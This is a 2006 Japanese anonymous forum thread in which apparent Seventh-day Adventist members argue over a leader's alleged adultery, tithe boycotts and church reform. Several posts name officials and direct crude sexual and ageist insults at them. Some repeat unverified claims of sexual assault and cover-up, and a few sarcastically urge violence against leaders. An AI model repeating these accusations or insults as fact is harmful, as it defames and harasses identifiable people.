神輿を担ぐことの意味・意義を考えたことがありますか。
多分、神輿の意味を知らない若い人たちかもしれません。
でも、そこに本質的な人の生きる根源が見られませんか。
そういう視点を持てないようでしたら、何をかいわんやです。
628:名無しさん＠３周年
06/07/24 04:41:07 GZnVMYat
>>622
“Y氏の当日の会場での提案を受け入れ”と記しましたが、“W氏”の誤りでした。
訝った方もおられたかもしれません。お詫びして訂正させていただきます。
629:名無しさん＠３周年
06/07/24 06:19:49 Cllr02PN
>>627
おいおい、今度は偶像崇拝の奨励ですかい。
次から次へと馬鹿な事を言いなさんな。
あんたが牧師だったら役員会にかけて懲戒ものだよ。
630:名無しさん＠３周年
06/07/24 07:39:52 iaERufSM
ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄｽｺｺｺ
ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄﾞﾝｽｺﾊﾞﾝｽｺｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄ ＿∧＿∧＿∧＿∧＿∧＿∧＿
ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄ从 `ヾ/゛／' "＼' /". | |
ｽｺｺｺﾊﾞｼｯｽｺﾊ≡≪≡ゞｼ彡 ∧＿∧ 〃ﾐ≡从≡=＜ 総務罷免まだーー！！！！ ＞
ｽｯﾄｺﾄﾞｯｺｲｽｺｺｺ'=巛≡从ミ.（・∀・# ）彡/ﾉ≡》〉≡.|＿ ＿ ＿ ＿ ＿ ＿ ＿＿＿|
ﾄﾞｯｺｲｼｮﾄﾞｽﾄﾞｽﾄﾞｽ=!|l|》ﾘｎl⌒!Ｉ⌒Ｉ⌒I⌒Iﾂ从=≡|l≫,ﾞ ∨ ∨ ∨ ∨ ∨ ∨ ∨
ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄ《l|!|!l!'~'⌒^⌒(⌒)⌒^~~~ヾ!|l!|l;"ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄﾞﾝｽｺﾊﾞﾝｽｺｽｺｺｺ
ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞl|l|（（ (〇) ））（（ (〇) ））|l|》;ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄﾞﾝｽｺﾊﾞﾝｽｺｽｺｺｺ
ｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞ`へヾ―-― ―-― .へヾｽｺｺｺﾊﾞｼｯｽｺﾊﾞﾄﾞﾄﾞﾄﾞﾝｽｺﾊﾞﾝｽｺｽｺｺｺ
631:名無しさん＠３周年
06/07/24 09:27:11 I/aRf7d0
暫く安息日は家庭礼拝を試み、什一は然るべきところにプールします。些細な抵抗
ですが。 こんな実力行使に訴えるしか私達一般信徒に残された道はないのですよね。
632:名無しさん＠３周年
06/07/24 09:49:43 +KzpxW2r
>>631
あなたのしていることは正しいことです。
什一献金は神のものです。
神から離れた教団組織のものではありません。
不倫するような指導者を養うものでは断じてありません！
633:名無しさん＠３周年
06/07/24 10:29:59 GZnVMYat
>>629
あまり、狭いものの見方をしない方がよろしいでしょう。
何故、神輿をここに持ち出したのか、という背景を洞察していただきたい。
偶像云々などど言うことは誰にでもできる。初歩中の初歩。
634:名無しさん＠３周年
06/07/24 13:30:35 X+YW3S7/
>>631さんへ
私は６０７で東京近郊の教会員です。主人は未信者ですが、二人の子供達は喜んで
一緒に教会に行っています。先日主人となんとなく教団のことが話題になり話し合
っているうち主人に怒られてしまいました。「そんな場所に子供を連れて行くな、
隣の奥さんをみてみろ、いつも家にいて家庭を守っているだろう。」
私も６３１さんと同じように当面家庭礼拝をしてみようと思っています。それから
質問ですが什一献金はプールしていると申されていましたが特別な預金通帳を作って
おられるのですか？
635:名無しさん＠３周年
06/07/24 19:28:03 aPd51ywp
>>633
まだそんな独りよがりな言い訳を！
初歩の人でもわかる誤謬を撒きちらしやがって。
いい加減にせい！
636:名無しさん＠３周年
06/07/24 21:08:35 /ARf11aa
>>633,>>635
そんな言葉使って、もう少し冷静にそしてできたら宗教人らしい会話が出来ると
いいと思います。 それに今私達が考えなくてはならない事は、神輿とか偶像云々
ではなくもっと大切なことがあるんではないですか？ 勿論不道徳な教団総務を始め
とする指導者と呼ばれている人達に対する糾弾です。
637:名無しさん＠３周年
06/07/24 21:33:24 v/WwUxk5
>>636
同感です。まずは信徒の側でも具体的行動を起こしたらいいと思います。
>>631さんの行動も立派な一つの行動であると思います。
聖書はそれを是認するでしょう。
638:名無しさん＠３周年
06/07/24 22:08:31 GZnVMYat
>>636, >>637
神輿から、旧約聖書の聖所に思いを馳せ、今このbbsでも問題になっている事柄を
神の視点で深く洞察し、物事の外側ではなく、本質に迫る議論を促したのが理解
できませんでしたか。
什一の問題には異論があります。一部に問題が起こった？とはいえ、神の教会
（SDAだけのことを言っているのではありません）を通して、教会の存立自由でも
ある、伝道の働きという視点を無視してもよい、と断言できますか。
639:名無しさん＠３周年
06/07/24 22:10:14 GZnVMYat
>>638
存立自由→存立事由に訂正します。
640:名無しさん＠３周年
06/07/24 23:01:19 PF5IkrV0
>>638
＞什一の問題には異論があります。・・・・・・
確かに什一の問題は実に悩ましい幾多の事柄を秘めていると思います。第一義に
什一は100%神様にお返しすべき神様のものです。しかし神様の御心を為している
とは到底思えない神様から離れた人達にこの神の什一を管理させるにはなんとし
ても合点がゆきません。>>632さんも申されています “什一は不倫をするような
指導者を養うものではありません”と。
641:名無しさん＠３周年
06/07/24 23:02:07 GZnVMYat
>>638
だからと言って、私はここで問題として提示されていることを、無視・軽視する
ものでは決してありません。
642:名無しさん＠３周年
06/07/25 09:20:19 VzIs8L3g
ＳＤＡの残りの教会の使命を行っている人に什一を差し上げるべきです。
ＳＤＡの今の教団組織はエレンＧホワイトの証も終末メッセージも忘れ
信徒も忘れてマネーメーキングと肉の思いに熱中しています。そんな者
はたとえＳＤＡ教会と称していても一銭の献金も渡すべきではないと我
が主キリスト・イエスのみ名により確信いたします。アーメン！
643:名無しさん＠３周年
06/07/25 11:42:01 5SDceK+r
２ちゃんの皆さん！什一献金の事で神を疑ってはなりません。不義な教団指導者のゆえに真理を疑って滅びるのは損ではないですか！
思うに、献金減少の問題は教団総務の不品行の問題から来ています。ですからここは一つ教団総務に穏やかに引責辞任を信徒みんなで
お願いして、そうすれば献金の問題はおおかた解決し教会の祝福も再び戻ってくるでしょう。
644:名無しさん＠３周年
06/07/25 13:02:03 qXVgwfsZ
>>642
そうですよね。 神に帰属すべき神の什一は．．．．神に変わって神様の御心を
行なう神から油注がれし眞の伝道者にのみ捧げるべきなんですよね。
献金減少を嘆くのであればどうしてこんな簡単な理屈が教団指導者の人々には判
らないのでしょうか？
645:名無しさん＠３周年
06/07/25 19:42:23 6Me0O3Ui
>>644
そうだそうだ。その理由で今の教団は献金を受けるに値しないのだ。
神に油注がれて選ばれた者を肉の理由で簡単に引き下ろす者達の教団、
神に油注がれて選ばれた建前を乱用して教会員を欺く教団、
神に油注がれたと言いながら身内の罪も裁けない教団、
神に油注がれたと言いながら聖書や証の文を無視している教団、
こんな指導者にやる金は盗人への追い銭だ。
お前たち一体誰の権威で教会指導者ヅラしているのか、とののしってやれ。
646:名無しさん＠３周年
06/07/25 21:41:53 mhGrsNw4
>>645
気持ちは、わからないでもありませんが、“聖書や証の文を無視している教団”は
チト、言い過ぎでしょう。
聖書を蔑ろにする教会など、聞いたことがありません。
E.G.Whiteの文書を、すべての教会が、蔑ろにはしてはいないでしょう。
647:名無しさん＠３周年
06/07/25 21:50:02 zOH4olro
ＳＤＡって、朝鮮系カルトですか？
648:名無しさん＠３周年
06/07/26 04:18:24 NtWPJ8wT
>>647
質問の意味が読めないのですが。
649:名無しさん＠３周年
06/07/26 11:21:15 XKll75wj
>>646
聖書を無視していないなら、どうして教団総務が不倫をするのか。
そんな奴がどうしていつまでも大きなツラしていられるのか。
建前はともかく実質は聖書無視の姿勢ではないか。
650:名無しさん＠３周年
06/07/26 13:49:10 DGikGJA7
最近、教団総務の顔が生殖器に見えてしょうがないよ。
笑うのをこらえるのが一苦労。みんな２ちゃんの皆さんのせいだ（大笑）
651:名無しさん＠３周年
06/07/26 15:40:36 Q9ZGPU4L
>>649
教団総務を含む幹部の覚醒には献金ボイコットが一番の良薬である。
要は組合のストライキと考えればもっと理解し易い、働く者の当然の要求を
実力行使によって勝ち取る。勿論過度の行使は会社自体の存続に影響する、
ある程度の改善が確認できたら本来の生業に務める。
同じ事である、献金ボイコットという実力行使は間違いなく教団の悔い改め
と覚醒を促すであろう。
652:名無しさん＠３周年
06/07/26 17:13:11 W/Z4R9DZ
>>650
歩く生殖器？ 昔学院で猛威を振るった歩く生殖器がいたが今何処へ？
ニヤケタ顔した歩く生殖器か、危険だな（ｗ
653:名無しさん＠３周年
06/07/26 19:18:30 NtWPJ8wT
そんなに、総務が反社会的なことをしたと言って、憤っているのなら、
教団本部に出向いて、殴りこみをかけたら如何。
654:赤恥止蔵
06/07/26 19:58:38 ftZWhRC/
>>574
どうして現役理事長のノミネートが無いのか。棺桶に入りかかったクソ老人
や同性愛のトンズラ教授などよりも現状責任者として東海林君がパネラーとして
加えられるのが適切だと思うのだが。あんまりみんなに期待されていないのかな？
655:名無しさん＠３周年
06/07/26 22:01:45 NtWPJ8wT
“棺桶に入りかかったクソ老人”
聖書は、こういう物言いを、厳しく諌めておりますぞ。
656:名無しさん＠３周年
06/07/26 23:02:31 4VweFB79
>>654
それではこう言い換えたらいかがでしょうか？
“命の灯火を目前にひかえし因業老人” “男妾好みの敵前逃亡教授”。
657:名無しさん＠３周年
06/07/26 23:36:13 SsduvID5
>>650
最近、ＮＨＫのチャングムを見ているとそこにでてくる王様の顔が教団総務
にラップしてしょうがない．．．．．．王様が登場する場面になると無意識
に音声を絞る自分がいる，悲しい性である。 英雄は色を好むといえど．．．
658:名無しさん＠３周年
06/07/26 23:49:44 NtWPJ8wT
いい加減、言いたい放題はこのくらいにして、実際の行動に出たら。
訴えるとか、首根っこを捕まえて投げ飛ばすとか。
659:名無しさん＠３周年
06/07/27 06:31:13 ohT3cV8h
>>541-543
541=542=543 だろう。
542は頼まれて書いただけのサクラのようにも
みえるが、こんなつまらない奴の発言をいちいち
気に留めてコメントする奴がいるとは思えん。
660:名無しさん＠３周年
06/07/27 06:47:09 E99AgGFH
随分辛辣で残酷な書き込みの宗教団体のスレッドだな！
こんな憎しみ合った団体に所属している信者達の精神状態は
いつも平静じゃ無いだろうなあ、かわいそうな団体だ。
内容読んでて吐き気がする、よくもまあこんなに酷い表現の言葉が出てくる事！
そんな暇があったらもっと人の為に為る事すればいいのにと思う。
661:名無しさん＠３周年
06/07/27 06:49:14 aeJlaryR
>>659
かなり、間抜けなお人。読みが浅い。
つまる・つまらないは、小泉さんではないが、個人の問題。
662:名無しさん＠３周年
06/07/27 06:54:15 aeJlaryR
>>660
同感です。
聖書を読み、礼拝する者の姿勢とは言えない、ほど遠い有様です。
聖書を読んで、人のために為ることをするのが、本分と思います。
663:名無しさん＠３周年
06/07/27 07:47:46 1Du5DUnt
>>660->>662
かなり日和見主義の方達ですね。もって深い読みはできないのですか？
＞人の為になる事をすればいいのに
この程度の思考能力しか持ち合わせないなんって少し寂しくないですか？
神の宮を汚れ無き清き人達の集う場所にすることの必要性はお感じにな
らないのでしょうか？ 教団浄化ってことです。
664:千先勉
06/07/27 07:50:13 ZV90QCHD
>>658
首投げをかましてやったら教会の状態が少しでも良くなるのかい？
馬鹿馬鹿しい愚かな発言をする人だね。一日中２チャンネルの前にはり付いていて
そんなことしかいえないのですかね。キリストの愛の為に流した涙や汗の跡が感じられない。
もっと根本的な解決をアドバイスするために教団から雇われていながらこんな不真面目な
発言しか出来ないのが教団職員なのだろうか？ 聖書を読んでいるならもっと根性を据えて
襟を正した発言をしろっ！ 神の前に泣き叫んで悔い改めやがれっ！
665:赤恥止蔵
06/07/27 08:02:53 ZheqmDfA
>>660,>>662
申し訳ないが物事を表面的にしか捉えられない判断力の弱い未成年者は
ここからお引取り願いたい。君たちにはレベルが高すぎて毒であろう。
はっはっはっはっは。
666:名無しさん＠３周年
06/07/27 09:00:35 PtFubEIz
>>658
千先先生の言われる通りですよ。教会で暴力を振るっても牧師や職員の
生活は改善しません。どうか、ここは穏やかに総務を一刻も早く解任して
去らせて下さい。それだけが教団の惨状を回復する道ですから。
667:Je pense, donc je suis
06/07/27 10:14:43 apauKVD6
また、スレが荒れてきたなぁ、と思う。
ネガな言葉でしか意見を述べられない思考からは、何も生まれないと思
う。
２週間前には、教団からの正式コメントを求める論調になっていたのに、
個人攻撃、中傷、になってしまった。
この現状の問題点を指摘するとすれば、２つ
1：教団に対して、下世話な書き込みを無視する根拠を与えている。
この際、教団の然るべき窓口に対して、メール、ファックス、手紙や電
話などで抗議するべきではないか？
2：このスレに立ち寄ったＳＤＡを知りたいと考えている人に対して悪い影
響を与えている。
ちゃんと、議論しましょう。
668:かもめの弟子
06/07/27 11:00:43 km+hfEUn
>>667
べらんめえ。教団が黙り続けているから荒れてんじゃねえか。
不特定多数の２ｃｈの読者に悪影響を与て風評被害を拡大したくなかったら
さっさと公けに謝罪と釈明をして事態を収拾しろっててめえの組織の上司に
言ってやったらどうだ。
669:名無しさん＠３周年
06/07/27 12:09:43 uMsKWPcT
>>655
聖書のどこにありますか？ 場所を明確に示して教えてください。
670:赤恥止蔵
06/07/27 12:24:23 ZheqmDfA
＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
564 ：名無しさん＠３周年 ：2006/07/18(火) 20:51:47 ID:zqEaSOnb
>>562
鈴木明理先生の奥さんも被害者なんです。
606 ：名無しさん＠３周年 ：2006/07/22(土) 07:56:21 ID:8fAFDywh
>>603,>>604 ヤ○ジも同じようなことしてますよ。
亀甲山の教団本部で女子職員を監禁暴行したことがあるんですよ。
教団のほかの先生は見て見ぬふり、それどころか外に漏らすなと
いって口封じされたのです。組織による性犯罪幇助ですね。
611 ：名無しさん＠３周年 ：2006/07/22(土) 19:53:38 ID:XJYk+XjY
>>606
これは、聞き捨てならないことです。
その女子職員は、今、どうしているのですか。
＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
上に書かれている事件は実際に教団本部内で起こったと聞いている。
671:名無しさん＠３周年
06/07/27 13:32:03 ODrHEIZq
>>667
眞の信仰に起つ犀利明敏な人物は何処に也。
新しい人間が必要なんだ、今こそ。 前理事長一派の勢力はその根を想像以上に深く
かつ広範囲に蔓延っている。 現在牧界の席にある殆どの人間は大なり小なりその
勢力の影響を受けている。 だからこそ断乎たる手段をとることが出来ないのだ。
彼等の影響を受けた事の無い人間、まったく新しい人物が神の義に起って正義の斧を
とらなくてはならぬ。
672:名無しさん＠３周年
06/07/27 16:55:03 UAOUDaIa
６７１ 様
アーメン。 私もそれに近い考えです。 実際に今の硬直した教団の組織に新しい
生命を与えるには現教団幹部先生の刷新が必要ではないかと思います。奇抜だと思
われるかも知れませんが、たとえば 辻好文先生、長谷川寿紀先生 など清廉潔白
な人が適任だと思います。
673:赤恥止蔵
06/07/27 19:38:07 ZheqmDfA
その通りだと思う。この教団に必要な事は誠実な釈明や謝罪だけではなく、
根本的な出直しだ。何人かの首は切らねばならぬ。
674:名無しさん＠３周年
06/07/27 20:10:31 59DQf2+/
白石先生がすっかり老け込みましたネ。
後継者がだらしないのに失望したのでしょうか。
675:名無しさん＠３周年
06/07/27 21:09:33 E99AgGFH
今度他の宗教団体にこの教派のスレッドの事教えてやろうと思う。
何か一人の幹部が仲間を犯しただの何だのとお祭り騒ぎ状態で内容が
仲間同士の腐し合い読んでて右翼団体や暴力団でも言わないような
皮肉たっぷりの汚い言葉や非難やらをよく考えてレスするそのエネルギー
あったらもっと宗教者らしい文章書いた方がいいような気がするし
自分達の汚点を世の中に晒して何喜んでいるのやら常識では理解出来ない。
まあもう終わっているような教派なんだろうけど、多分世間には顔向け出来ない
ような信者ばかりが群れている団体教派なんだろうな。
676:名無しさん＠３周年
06/07/27 21:43:39 aeJlaryR
この教派のメンバーは、健全な信仰者の方が、大多数でしょう。
ここに記す人は、ごく、一部でしょう。
言論の自由も尊重せばならぬとはいえ、確かに嫌悪感を覚えます。
おっしゃるような、終っているような教派ではないでしょう。
残念ながら、キリスト者とは、到底言えない表現が目立ち、遺憾に思います。
批判は権利であり、自由とはいえ、ものには節度というものもありましょう。
「かもめの弟子」さん、面白いHNですね。
677:名無しさん＠３周年
06/07/27 21:59:51 G7N8XYjk
沖縄出身の又吉イエス こと本名：又吉光雄氏は
ＳＤＡの方でしたか？
678:名無しさん＠３周年
06/07/27 22:52:56 aZCQCd/3
>>675
なんと情けない稚拙で幼稚なお人なんでしょう。
貴方が典型的な“なりすまし”であることはこの稚拙な文章を読めば明白です。
卑怯な“なりすまし”などに身を費やさず正々堂々と論を張るべきではべきで
はないのですか？ 実に嘆かわしい。 最後に一言、人間は欺けても神様は欺けませんよ。
679:名無しさん＠３周年
06/07/27 22:58:16 aeJlaryR
自ら「再臨のキリスト」と言う人は、SDAではないでしょう。
経歴を見ると「牧師」と、載ってはいましたが。
初めてWebで見ましたが、興味深いお人のようですね。
680:名無しさん＠３周年
06/07/28 01:02:45 +sklXcC9
この団体はもう終わっているどころか神様とやらに（もし存在すれば）見捨てられているんじゃないの？
ああ言えばこう言うで、屁理屈ばかりでそれこそ６７８が言うように実に嘆かわしい
こんなに混沌とした団体は人を救うどころか自分さえ救え無いじゃないの
こんな団体はやく世の中から消えてほしいね、２ちゃんねる利用して自分等が実際面と向かって
相手に言えない事をここで愚痴っているだけで貧弱で臆病者ばかりいる団体なんだろうな。
681:名無しさん＠３周年
06/07/28 06:02:45 FekP+hRR
>>661
こんな発言にいちいちマジレスするなんて律儀で哀れなご本人様だな。pupupu
682:名無しさん＠３周年
06/07/28 06:31:42 fVGplVae
見くびってはなりません。実力を知らな過ぎる感じがします。
屁理屈が多いのは、確かに、ここでは目立つ。
消えるどころか、更に大きくなるでしょう。勿論、毒麦も含みますが。
世の中、そう、単純ではありません。知る人ぞ知る。
愚痴・臆病云々は同意。自分を何様とお思いか。
683:名無しさん＠３周年
06/07/28 06:35:43 fVGplVae
マジレスか知らぬが、哀れでも何でもない。そういうあなたこそ、哀れに思う。
684:名無しさん＠３周年
06/07/28 06:55:12 uqEB4ZzZ
>>675
＞今度他の宗教団体にこの教派のスレッドの事教えてやろうと思う。
そうです、そうです、しっかり教えてやりなさい。
むかし神に選ばれ立てられたイスラエルの国ですら、偶像崇拝、姦
淫、男色に走って神から背き離れた結果無残に破壊されましたね。
その残酷な滅び方を見た異邦の国の人々は、神の祝福の契約を受け
ながら自ら堕落し神に反逆するとどんな恐ろしい罰を受けるかを悟っ
て震えおののきました。
今ＳＤＡが昔のイスラエルと全く同じ事をして人と神を欺いて堕落
したために、おっしゃるように暴力団や右翼どころか鬼神も青ざめ
る様な恐ろしい言辞が飛び交う暗黒の教会になっているのです。こ
れは神の罰です。これを他の教会の人に知らせるなら、彼らがもし
心あるなら神を恐れて神に栄光を帰するでしょう。
ですからどんどん知らせてやりなさい。遠慮はいりません。
これも伝道です！
685:名無しさん＠３周年
06/07/28 11:03:57 lOMJROV9
>>675
そうですね。どんどんどんどん知らせてやりなさい。あんたが知ってる総ての
宗教団体にしっかり知らせなさい。 これはあんたの使命です、これを生涯の
あんたの生きがいとして生きてゆきなさい。 頑張れ、頑張れ。
686:名無しさん＠３周年
06/07/28 11:25:49 XeEDt4OO
>>650
曾根田も若い時教団総務をしていた時はのっぺりして亀頭（陰茎の先）のような顔でしたよ。
今は少しシワが増えてキンタマみたいになりましてん。
卑猥な人相の人がＳＤＡでは教団総務になるジンクスでもあるんでしょうね？
だとしたら女性が教団総務になったら大変ですわな。教団全体を18歳未満お断りにしないとね。
687:暇だ真澄
06/07/28 12:06:14 tZHoODZZ
>>654
それは俺も感じる。今現に理事長をやっている人間は無視されて、片足棺桶ジジイ
の異見がいまだ重んじられたり、下りたはずの白石が教団決定に影響を及ぼしている。
だったら何のために東海林がいるのか？と尋ねてみたかった。山地は不倫はするが東海林
よりは行動能力がある分、表に出やすい。東海林はますます居所がなくなる。どう控えめに
言ってもこれでは東海林は無能の場所塞ぎの理事長にしか見えない。彼ははじめからそれだけ
しかなかったのか。それとも単に見くびられていただけか。それとも無能であることを承知
で利用した白石一流の狡猾な理事長人事だったのか。どういう馬鹿馬鹿しい結末になるか
が楽しみである。
688:名無しさん＠３周年
06/07/28 12:15:40 AD6u5JRQ
>>683
かもめ必死だな（藁）
689:名無しさん＠３周年
06/07/28 12:53:53 g0ctugGM
>>675
どうした？ 675君。あんたの唯一の使命がなされてないぞ。 他のどの宗教スレを
覗いてもそれらしき内容の書き込みがないが。 男子一度口にだしたらどんどんやれよ。
さぁ！頑張ってどんどんどんどんやってくれ。 期待してるぞ。
690:名無しさん＠３周年
06/07/28 14:08:13 fVGplVae
>>686-687
もう少し、マシな表現はできませんか。品が悪い。
>>688
別に、必死でも何とも思っていないだろう。
691:名無しさん＠３周年
06/07/28 15:36:37 U78mjFcO
嗚呼、兄弟よ君を泣く。
あぁ、兄弟よ君を泣く、君彷徨うことなかれ
末に生まれし君なれば、神の情けは勝りしも
親は聖書を横に置き、神につかえと教えしや
神につかえて死ねよとて、五十齢(よわい)を育てしや
楢葉の村の学び舎で、名家を誇る主にて
神の名を継ぐ君なれば、君迷うこと無かれ
不倫の汚名広がれど、広がるとても何事ぞ
君は知らじな神人の、家の習ひに無き事を
十字架の影に臥し泣く我が妻の、四十路になりしその心
君知るや思へるや、嗚呼、兄弟よ君を泣く
君、彷徨う事無かれ．．．．．．．．．
【鎮魂歌】 贋作
692:名無しさん＠３周年
06/07/28 17:13:34 +sklXcC9
その内、今世間を騒がしているカルト教団のＪＭＳ教団と同じようにこの教団も
世間の非難の的になるんだろうな。このスレの常連がそれを望んでいるんじゃない？
もっとヤバイ事してる疑いも有るし。このスレも事件沙汰で検挙される時は証拠に
なるだろうし。ひどい集団である事には間違いなさそうだし。
693:名無しさん＠３周年
06/07/28 17:33:00 fVGplVae
The Holy Spirit Association for the Unification of World Christianity
に似ているところが感じられる。
SDAは、こういうところとは全く違う、と断言できるでしょう。
694:名無しさん＠３周年
06/07/28 19:48:59 fVGplVae
He said to me, "For 2,300 evenings and mornings;
then the holy place will be properly restored."
695:赤恥止蔵
06/07/28 19:54:03 NtS3ZPHt
>>693
あ君、こんな所で知ったかぶりの無駄口ばかり叩いていないで、嵯峨野教会理事会
ｂｂｓでのぶざまな質問の後始末をつけて来なさい。己の無知から余り牧師様に
お手間を掛けさせて迷惑にならないようにしなさい。
696:名無しさん＠３周年
06/07/28 20:55:55 0VgDRTx6
>>695
赤恥君！ 君が私をサポートして下さるのはそれなりに感謝しています。
しかし私はそんな虚弱な精神で神の信仰にあるのではありません。
私は大海の如く容認します、そして私の教会の扉を叩く人々には何時も
寛容でありたいと願っています。迷惑などとは微塵も思っておりませんよ。
神のもとにある兄弟姉妹に平穏な安息の時が持たれます様に。
697:名無しさん＠３周年
06/07/28 21:14:02 fVGplVae
>>695
今、UPしておきましたので、後ほどご覧くだされ。
別にぶざまな質問でも何でもない。
率直に言及するのを、S教会bbsは歓迎するでしょう。
別に手間を掛けたり、迷惑を掛けたりしてはおらぬ。
698:名無しさん＠３周年
06/07/28 22:47:26 fVGplVae
ついでに申し上げれば、>>693で挙げたものは、
日本名では「世界基督教統一神霊協会（略して統一協会or統一教会）」と称する
ものであり、およそ、聖書とは違う解釈の「原理講論」なるものを高く掲げ、
教祖自ら「再臨のキリスト」とのたまい、いかがわしいことをもしてきたところ。
詳しくは、SDAの、W牧師に尋ねるとよいだろう。
こういうのと、SDAを同一視するような言には、断固としてノーと言わねばならぬ。
およそ、こういう手合いの、キリスト教と称する団体が多いので、気をつけたい。
韓国の人には、言い難いが、この国で、こういうものが結構蔓延っている。
他山の石としたい。
早や、日は既に暮れた。
安らかな休息を得て、日が昇ったら、共に集い、まことの神を拝したい。
699:名無しさん＠３周年
06/07/28 23:10:54 Lu9fOdvD
>>698
そうです、日は既に暮れました。 しかし一言感謝の言葉が申したくて．．．．
“見解のちがい？”拝読致しました。 今日あるこの命に深く感謝しています。
あぁ、かもめ様 どちらの牧会の方なのですか？ 是非あなたから説かれる神の
御言葉に与かりたい！ 私は神から決して見捨てられていない、貴兄のような
人物を授かっているのですから。再度申し上げます、今日新たに又神にお会い
できたことを深く深く感謝して。 アーメン
700:名無しさん＠３周年
06/07/29 07:17:14 xTjL41mG
>>697
なんかへらへらと言い逃れただけのように思えるのだが。
おっと、読みが浅い、などという言い訳は御免だよ。
それよりも嵯峨野教会牧師が貴兄の反論にどういう答えをするのかが見物だな。
701:名無しさん＠３周年
06/07/29 07:58:55 Gdzj9692
>>687
東海林が無能だってのはもはや秘密でもなんでもない、周知の事実。
702:名無しさん＠３周年
06/07/29 09:45:13 XppM6BqE
>>555
A.L.誌を遡る事、1～2年間分隅から隅までよくお読みなさい。
さすれば意味は自ずから導きだされるでしょう。
703:名無しさん＠３周年
06/07/29 15:14:21 3wqlUQRh
親展 “かもめ” 様
今日も曇天ながら暑い日です。本日の礼拝説教は０先生でした。
実は私、今月16日にこのbbsに書き込みさせて頂きました>>542です。
未だに何方様か判らないまま(お名前を問うも詮無きことゆえ)ご無礼を致して
おります。
昨今の世情騒然の中に、折りにふれ“かもめ”様の節度ある敬謙な姿勢に敬意
と共感それに感謝の喜びをもたせて頂いております。文は人なり、まさに文章
を読めば相手の人なり全てが推量できます。今後とも艱難難事ありし時、世俗
の誘惑に心惑わされる時、どうぞ神の御力による助言で支えて下さい。
主にある「忘形の交わり」をお許しくださえばこの上なき幸いです。
704:名無しさん＠３周年
06/07/29 21:16:22 4yUPx7Ds
今日も教団からの釈明も謝罪の声も一つも無かった。
いつになったら一連の不祥事の落とし前をつけるのだろうか。
705:名無しさん＠３周年
06/07/30 10:41:11 fV8cQ/G3
やっぱり嵯峨野教会牧師を日本に召還しようよ。
我々が最も知りたいと思っていることを直裁、簡潔、シャープに語ってくれるという点において
日本の教団のどの雇われ牧師より７倍勝っているよ。
706:名無しさん＠３周年
06/07/30 10:51:10 eOswvzFi
>>705
やっぱり、そうですよね。嵯峨野教会牧師に来ていただきましょう。
嵯峨野教会牧師日本招聘の為の特別献金なら喜んで協力します。
707:名無しさん＠３周年
06/07/30 11:37:25 pTUOjxtD
>>696
これまたへった糞ななりすまし。
さくらばっかり雇って惨め過ぎる。
>>703
これもだｗ